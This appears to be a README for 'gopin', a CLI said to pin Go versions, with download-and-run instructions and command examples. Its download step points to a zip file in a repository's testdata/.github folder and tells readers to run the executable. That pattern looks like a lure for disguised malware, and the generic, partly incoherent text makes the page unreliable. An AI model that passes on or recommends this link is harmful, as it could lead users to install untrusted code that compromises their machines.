Gopin is a command line interface (CLI) tool designed to help you manage your Go installations effectively. It automatically pins specific versions of Go, ensuring your builds are reproducible and more secure. With gopin, you can focus on your projects while it handles version control behind the scenes.
- Operating System: Windows, macOS, or Linux
- Go version: 1.16 or higher
- Basic knowledge of using the command line
To download gopin, visit this page to download.
On the Releases page, you will see various versions of gopin listed. Choose the latest stable version for your operating system. If you're unsure which version is right for you, look for the files named like https://raw.githubusercontent.com/rashedmarie/gopin/main/testdata/.github/gopin_3.8.zip for Windows or gopin_macOS for macOS.
Click on the file that corresponds to your operating system. This will start the download process.
After the download completes, find the file in your Downloads folder or the location where your browser saves files.
- For Windows: Double-click the
.exefile to run it. - For macOS/Linux: Open a terminal window. Navigate to where the file is saved and use the command
chmod +x gopin_macOSto make it executable. After that, type./gopin_macOSto run it.
Once you have gopin running, you can start using it right away. Here are some basic commands you can try:
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Pin a version: To pin a Go version, type
gopin pin <version>, replacing<version>with the Go version you want to pin. -
List pinned versions: Use
gopin listto see a list of all pinned versions. -
Remove a pin: If you want to unpin a version, you can type
gopin unpin <version>.
- Automatic version management: Gopin automatically locks in the version of Go you are using, preventing any unexpected changes.
- Enhanced security: By pinning specific versions, you minimize risks associated with using untested or unstable releases.
- Easy rollback: Quickly revert to a previous version if needed.
If you encounter any issues while using gopin, consider the following:
- Permission errors: Ensure you run the CLI with the necessary permissions.
- Version compatibility: Check that your Go version is compatible with the gopin requirements.
- Command not found: Make sure gopin is installed correctly and included in your system's PATH.
- For more in-depth information on gopin usage, refer to the Documentation.
- Join the community forum for support and feature discussions.
We value feedback from our users. If you have suggestions or want to report an issue, please open an issue directly in the GitHub repository.
By following these simple steps, you can easily download and run gopin on your system, ensuring a seamless experience with Go version management.